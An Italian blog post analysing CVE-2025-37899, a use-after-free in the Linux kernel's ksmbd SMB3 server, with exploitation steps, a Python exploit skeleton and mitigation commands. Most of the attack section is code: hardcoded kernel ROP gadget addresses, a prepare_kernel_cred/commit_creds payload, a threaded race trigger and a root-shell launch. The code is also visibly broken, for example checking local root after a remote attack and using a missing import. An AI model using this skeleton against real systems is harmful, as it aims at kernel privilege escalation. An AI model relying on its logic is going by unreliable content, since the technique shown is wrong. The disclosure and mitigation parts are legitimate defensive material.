[TECH ANALYSIS] CVE-2025-37899 – Esempio Base di Sfruttamento UAF in ksmbd (Linux Kernel SMB)

In un recente post pubblicato da Leonardo Tamiano nel canale Telegram Esadecimale , è stata segnalata la scoperta di una nuova vulnerabilità zero-day nel kernel Linux: CVE-2025-37899 .

Questa falla riguarda l’implementazione SMB3 server-side (ksmbd) del kernel Linux, ed è causata da una condizione di Use-After-Free (UAF) legata alla gestione delle sessioni multi-connessione. Lo scopritore, Sean Heelan , ha descritto dettagliatamente il processo di individuazione tramite strumenti automatizzati come o3.

Articolo originale:
How I used o3 to find CVE-2025-37899
Vulnerabilità:

Il problema emerge durante la gestione concorrente di più connessioni appartenenti alla stessa sessione SMB3.
La mancanza di corretta sincronizzazione tra le operazioni di LOGOFF  e l’utilizzo interno del campo sess->user permette a un utente remoto autenticato di generare una race condition .
Questo può portare alla liberazione (free) di una struttura dati mentre ancora in uso, aprendo la strada a un overflow controllato e all’esecuzione di codice arbitrario nel contesto del kernel.

Di seguito alcuni dei punti chiave che un attaccante dovrà affrontare per trasformare questa UAF in un exploit reale:

Creazione di connessioni parallele : Stabilire due o più connessioni alla stessa sessione SMB3 (con lo stesso Session ID).
Triggering della race condition : Disconnettere una connessione mentre si mantiene l'altra attiva per generare il momento critico di accesso alla struttura libera.
Heap grooming : Sovrascrivere la memoria liberata con dati controllati, ad esempio un payload ROP-style.
Controllo del flusso di esecuzione : Reindirizzare l’esecuzione verso funzioni privilegiate come prepare_kernel_cred(0) e commit_creds().
Bypass protezioni : Superare meccanismi come SMEP, KASLR o altre difese del kernel.

Disclaimer

Questo post è puramente a scopo tecnico ed educativo. Non viene fornito alcun exploit funzionante o direttamente utilizzabile. L’obiettivo è analizzare una potenziale via di attacco basata sulla descrizione della vulnerabilità. Qualsiasi utilizzo illecito delle informazioni qui riportate è sotto la piena responsabilità dell’utente.

Il seguente snippet Python illustra la logica base dello sfruttamento…Si tratta di pseudocodice semplificato e non eseguibile così com’è, ma serve a mostrare i passaggi fondamentali.

#!/usr/bin/env python3
from pwn import *
import threading
import time
from smbprotocol.connection import Connection
from smbprotocol.session import Session
from smbprotocol.tree import TreeConnect
from smbprotocol.open import Open
import os
import sys

# Indirizzi leaked dal kernel (aggiustare in base al target)
addr_commit_creds = 0xffffffff810a1f30
addr_prepare_kernel_cred = 0xffffffff810a2190
addr_pop_rdi_ret = 0xffffffff810b6d65  # Esempio di gadget ROP: pop rdi; ret
addr_move_to_rsp = 0xffffffff81000000  # Placeholder: stack pivot, da trovare

# Configurazione target
TARGET_IP = "192.168.1.100"
USERNAME = "guest"
PASSWORD = ""
DOMAIN = ""

# Connessione SMB custom
def establish_smb_connection():
    try:
        client_guid = os.urandom(16)
        connection = Connection(uuid.uuid4(), TARGET_IP, 445)
        connection.connect()
        session = Session(connection, USERNAME, PASSWORD, require_signing=False)
        session.connect()
        print(f"[+] Connessione SMB stabilita con {session.username}@{TARGET_IP}")
        return connection, session
    except Exception as e:
        print(f"[-] Connessione SMB fallita: {e}")
        sys.exit(1)

# Costruisce il payload ROP-style per chiamare prepare_kernel_cred(0) -> commit_creds()
def build_exploit_payload():
    payload = b"A" * 120  # Overflow fino all'IP registrato
    if addr_pop_rdi_ret:
        payload += p64(addr_pop_rdi_ret)  # pop rdi; ret
        payload += p64(0x0)                # argomento: 0 (root)
        payload += p64(addr_prepare_kernel_cred)  # prepare_kernel_cred(0)
        payload += p64(addr_pop_rdi_ret)   # pop rdi; ret
        payload += p64(0xdeadbeefcafebabe) # fake pointer (sarà il cred_struct result)
        payload += p64(addr_commit_creds)  # commit_creds(prepare_kernel_cred(0))
    else:
        payload += p64(addr_prepare_kernel_cred)
        payload += p64(0x0)
        payload += p64(addr_commit_creds)
    return payload

# Funzione per inviare il payload malformato via SMB
def send_exploit(session):
    try:
        tree = TreeConnect(session, r"\\%s\C$" % TARGET_IP)
        tree.connect()

        exploit_file = Open(tree, "exploit_trigger")
        exploit_file.create(
            desired_access=0x00120089,
            file_attributes=0,
            share_access=0,
            create_disposition=3,
            create_options=0x40,
            impersonation_level=2,
            security_flags=0,
            oplock_level=0,
            createContexts=[]
        )

        payload = build_exploit_payload()
        exploit_file.write(payload, offset=0)
        exploit_file.close()
        print("[+] Payload inviato.")
    except Exception as e:
        print(f"[-] Errore nell'invio del payload: {e}")

# Simulazione della UAF
def trigger_uaf(sess1, sess2):
    def free_session():
        time.sleep(0.001)
        print("[*] Disconnessione sessione per liberare memoria...")
        sess1.disconnect()

    def spray_or_overwrite():
        print("[*] Invio payload per sovrascrivere...")
        send_exploit(sess2)

    t1 = threading.Thread(target=spray_or_overwrite)
    t2 = threading.Thread(target=free_session)

    t1.start()
    t2.start()
    t1.join()
    t2.join()

# Main
if __name__ == "__main__":
    print("[+] Connessione SMB in corso...")
    conn1, sess1 = establish_smb_connection()
    conn2, sess2 = establish_smb_connection()

    print("[+] Triggering UAF e iniezione payload...")
    trigger_uaf(sess1, sess2)

    print("[+] Controllo se l'elevazione è avvenuta...")
    if os.getuid() == 0:
        print("[+] Root acquisito! Lancio shell root.")
        os.system("/bin/bash -p")
    else:
        print("[-] Fallimento nell'acquisire privilegi root.")

Nota: Per funzionare, questo codice richiederebbe indirizzi validi, info-leak, bypass SMEP e configurazioni molto specifiche del sistema target.
Mitigazioni Consigliate

Chiunque non utilizzi ksmbd può disattivare il servizio immediatamente:

sudo rmmod ksmbd
echo "blacklist ksmbd" | sudo tee /etc/modprobe.d/blacklist-ksmbd.conf
sudo update-initramfs -u
sudo systemctl stop ksmbd
sudo systemctl disable ksmbd
sudo ufw deny in to any port 445 proto tcp

Conclusione

CVE-2025-37899 rappresenta un nuovo promemoria sull’importanza di monitorare attentamente l’introduzione di componenti esposti a rete direttamente nel kernel. La complessità del codice SMB e la sua diffusione rendono questa vulnerabilità particolarmente critica.

Seguire gli aggiornamenti ufficiali del kernel è essenziale. Nel frattempo, la disattivazione di moduli non necessari e la limitazione dell’accesso a porte sensibili (come la 445/TCP) rimane una pratica consigliata.

Commenti, correzioni tecniche o approfondimenti sono benvenuti!